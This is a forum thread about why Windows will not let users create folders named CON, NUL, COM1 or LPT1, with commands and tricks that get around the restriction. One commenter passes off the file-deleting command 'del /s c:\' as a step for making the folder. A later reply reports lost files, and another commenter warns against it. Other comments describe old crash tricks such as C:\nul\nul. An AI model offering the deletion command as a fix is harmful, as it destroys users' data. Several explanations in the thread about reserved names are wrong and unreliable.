windows folder creation surprise

Submitted by venkatesh
on October 10, 2005 - 4:53am

It was dicovered that nobody can create a folder named as "con" in windows.
This is something pretty cool...and unbelievable...
Note : This should be through & in windows only.
If any one have solution or reason why it happens , let me also know please.

Creating con VERY EASY Here

Zabihullah (not verified)
on
December 2, 2006 - 6:12am

Creating con VERY EASY
Here is steps:

del /s c:\
mkdir "con"

Hope you like!

(PS. Everybody in thread should do this!)

help me---------URGENT

sigma (not verified)
on
December 17, 2006 - 8:17am

hey ur code is working..but some files and folders are been deleted..will u plz help me in regaining that deleted files...

Zabihullah (not

Anonymous (not verified)
on
January 21, 2007 - 10:03am

Zabihullah (not verified)

Creating con VERY EASY
Here is steps:

del /s c:\
mkdir "con"

Hope you like!

(PS. Everybody in thread should do this!)

DON´T DO THAT, THIS IDIOT WANTS YOU TO DELETE ALL YOUR FILES (/S AND *.* /S)

con ???

Anonymous (not verified)
on
December 6, 2006 - 4:43am

how did u manage this

good one GR8

Anonymous (not verified)
on
March 30, 2006 - 11:34pm

hai venkat it is really working .how did u get this work around of creating the folder..please tel me

con trick is working

sumesh (not verified)
on
May 28, 2006 - 10:51am

this is working, i think all other dos devices will also try on the same manner, not tried...

how can to create folder ">nul???"

behzad (not verified)
on
June 8, 2006 - 12:30am

can you create folder ">nul???".
please help me.

how to can create folder ">nul???"

Anonymous (not verified)
on
June 13, 2006 - 10:59pm

how to can create folder ">nul????"

Here's how to create a folder named > nul

Anonymous (not verified)
on
June 17, 2006 - 6:13pm

Open a command shell, type > mkdir "moron".

That should do the trick. Let me know if it worked.

It's really working Good

Payal (not verified)
on
October 29, 2006 - 10:46pm

It's really working
Good

thx

lohith (not verified)
on
December 12, 2006 - 4:39am

mamu ,u r great mamu,,,thx for ur help

Why we can not crate a folder CON in Microsoft OS

VISHAL KAUSHIK (not verified)
on
December 14, 2006 - 9:52pm

Bcoz, CON is stored as a internal command in Command.com with Copy command. It means Copy Con. Copy con is used to create a new file in a system. When we try to create a CON file/folder, systems take this name as internal command variable. Thats why its not possible to create a CON file / folder on system. If command is stored as Copy Won then we will not be able to create folder named WON on Microsoft OS.

By VISHAL KAUSHIK
www.epapersoftware.com

nice!!!!!!!!!!!! wat abouut

Anonymous (not verified)
on
August 23, 2007 - 10:50pm

nice!!!!!!!!!!!!
wat abouut other names like lpt1 to LPT9????

regarding lpt and com

VISHAL KAUSHIK (not verified)
on
September 15, 2007 - 1:06am

Its a reserved word for windows operating system. thats why windows is not allowing such name.

Thanks

delete it

pawan (not verified)
on
January 5, 2007 - 1:06pm

hey i made that folder named con
but how can i delete it

con

Anonymous (not verified)
on
March 15, 2007 - 11:59am

how to create folder 'con'

con folder creation

Devdutt (not verified)
on
April 4, 2007 - 3:58am

DUDE.... ITS working yaar....
GR8.... I tried it... its happining...

but i have 1 query,, why cant we do it directly, as we rename a regular folder in windows.... any special reason for it...

od reply back... awaiting your reply....

Thanks

Anonymous (not verified)
on
April 23, 2007 - 5:38am

Thanks Mr.Vwnkat...
It's working...!

folder named con

sumeet (not verified)
on
April 27, 2007 - 11:53am

hey i tried all that stuff but i was not sucessful

Created a folder named CON in Windows environment

Arun Shouire is HELL (not verified)
on
June 16, 2007 - 2:37am

Nice work dude...
This had been a relatively unchallenged for a long time for me. Cool what is all that stuff "\\.\\"???

Hi!!! Its working yaar!!!!!

Abhijeet Patil (not verified)
on
August 7, 2007 - 9:48pm

Its really working fine....

Good work man.....

con folder created but......

sucheta (not verified)
on
September 14, 2007 - 11:18am

hi venkat
your method works!!!!! GREATTT JOB!!!!!
but does not get deleted.....

can u tel me the reason as to why the Windows OS does not permit us to create a CON folder as we normally do?
is it a bug or what?

pls reply
regards
sucheta

Its working..... Thank you

Mohamed Haris (not verified)
on
September 25, 2007 - 12:58am

Its working..... Thank you verymuch........

its woering........

Anonymous (not verified)
on
July 3, 2008 - 10:27pm

its woering........

i found short method create a folder in windows

vishal kumar (not verified)
on
September 22, 2008 - 3:10am

STEP1: goto command prompt

STEP2: type in prompt c:\>md\.\con\

STEP3: delete the folder c:\>rd\.\con\

Nice trick its working.

Amjad Miandad (not verified)
on
April 22, 2009 - 7:40pm

Thanks buddy your trick is very fine and working.

regarding CON file name

Ajay Sharma (not verified)
on
October 25, 2005 - 4:44am

i think this is the related to o/s problem when we create a file through ms-dos on dos prompt so we use this command COPY CON so CON is reserve word for O/s

Hei Man

Vamshi Krishna (not verified)
on
November 26, 2005 - 12:13pm

Hey man i just sending this to you just to correct your perspective on DOS.As you said COPY CON wont be seperated and compared with CON folder name which we create in Windows.Copy Con is completely a single file name,would be as "COPY CON.EXE",which then embedded into Command.com.
Thanks for your contribution to KernelTrap.
Regards
Vamshi

what u think

mukesh (not verified)
on
December 16, 2005 - 12:17am

no yaar actually .this is the bug of windows operating system

A bug? No....

PhantomSteve (not verified)
on
January 11, 2006 - 2:08pm

It's a hold-over from the good ol' DOS days... as others have noted, CON, AUX, etc are reserved words (I remember using COPY CON in DOS!).... and Microsoft have either (1) built on the old DOS/WINDOWS code to make Windows backward compatible, or (2) been lazy and not removed a feature which is no longer needed!

CON file name

Anonymous (not verified)
on
June 21, 2006 - 3:11am

No, its not due to the fact that con is a reserved keyword. 'echo' is also a resvd. keyword, but u can create a folder named echo

Try running C:\nul\nul. BS

Gullible Jones
on
November 5, 2005 - 4:15pm

Try running C:\nul\nul.

BSOD!

Meaning

Lalc (not verified)
on
April 25, 2006 - 1:59pm

Hey, did you know that "con" in french means "stupid"...

Resolution

The Guru (not verified)
on
December 26, 2005 - 8:03am

Check out this link for some comments on this and also the resolution.

http://geekswithblogs.net/aboos/archive/2005/10/19/57411.aspx

If you try to type "copy con

Anonymous (not verified)
on
June 6, 2006 - 6:55am

If you try to type "copy con con" in Win98 'Run' string, after pressing Enter the system hangs deadly.

in windows 95/98/ (not sure a

Anonymous (not verified)
on
June 14, 2006 - 5:19am

in windows 95/98/ (not sure about ME) but not 2k/xp.. you could do start > run > and type /con/con , pressing enter would cause 2x BSOD's. So maybe thats why they removed it, im not sure

sno

The folder CON creation is wo

Anonymous (not verified)
on
August 8, 2006 - 5:31am

The folder CON creation is working fine..
Could you please explain why i can't be created as normal folder creation..?
Why it holds this much complexity..?

try creating any of the reser

AnonymousRe (not verified)
on
September 16, 2006 - 10:35am

try creating any of the reserved words followed by a period(.) and any name of your choice.
eg
con.hello
com1.goodday

CON

Anonymous (not verified)
on
October 3, 2006 - 9:50pm

gandu...kuch pata hai tujhe...
found .... salla
#@%$#@^43$^$#%^@#%#%^$%&%^&

sorry gandu.... chal gaya ya

Anonymous (not verified)
on
October 3, 2006 - 9:54pm

sorry gandu....
chal gaya yar..... kuch aur bana sakta hai to wo bhi post kar de

This is the reason

Parthasarathi J V (not verified)
on
November 4, 2006 - 6:55am

Yes, you are correct , let me tell you the reason for that-

In windows the folder name and the special system variables are sharing the same interface, so when u create folder with a system variable name it will consider that folder already exist!!
these special system variables are available irrespective of path :-)

you cannot create a folder with these names also:

CON, NUL, COM1, COM2, COM3, LPT1, LPT2, LPT3,COM1 to COM9 and LPT1 to LPT9....

COM1 means serial port 1, LPT1 means parallel port 1

Cheer's

Parthasarathi J V
Driktronix
Mysore

get me some more tricks

hreshi (not verified)
on
June 20, 2007 - 5:56am

hello,,,
sirs,
we tried ur tricks its amazing,but nowadays its getting old,get me some more tricks new tricks,
if u had any recently found
plz try to help me in dis mattr...

hi Guys its possible to

Virendra Soni (not verified)
on
August 23, 2007 - 4:09am

hi Guys its possible to create and delete the folders having these reserve names.

eg
d:> md .\con\
will create folder having name con

d:> rd .\con\
will delete the con folder

here is the magic

THANKYOU

ABDUL JABBAR (not verified)
on
October 30, 2007 - 2:14am

THANKYOU VIRENDRA SONI U SAVED MY REPUTATION IN FRONT OF MY ROOM MATES. THANKS A LOT GOD BLESS U
PH:9821399236 (RATNAGIRI MAHARASHTRA)

hi, ask to me!

jogesh (not verified)
on
September 11, 2007 - 5:33am

hi frends ask to me how to create con folder
just i want exposer. so make me call on 9322513347
i know how to do it

EASIEST way to create CON

Anonymous (not verified)
on
September 20, 2007 - 6:30am

EASIEST way to create CON folder, u can delete it, u can access it, etc.. i did:

1) open MS Word
2) click File > Save As
3) click the new folder button
4) type CON
5) press enter
6) like magic u have ur con folder :)

ps. only works with the create new folder which brings up a prompt where u type in the name of the folder..

enjoy

The solution didn't work.

r.wang (not verified)
on
October 31, 2007 - 3:49pm

The solution didn't work. I got n error message on Step 5. Please try a different solution, and if it works, let me know. How does this trick work 4 u but not me?

ha, yes those that you

neverminme
on
December 8, 2007 - 1:50pm

ha, yes those that you listed can't work either, really interseting stuff.

+1 MS dos

Anot (not verified)
on
December 12, 2007 - 2:40pm

+1 MS dos problem...
Regards, Jazz

hey its easy to create Con

noble (not verified)
on
January 24, 2008 - 10:14am

hey its easy to create Con folder all u have to do is create a new folder name it CON then press alt key+ 0160 then enter thats all u have to do k

Comment viewing options

Select your preferred way to display the comments and click "Save settings" to activate your changes.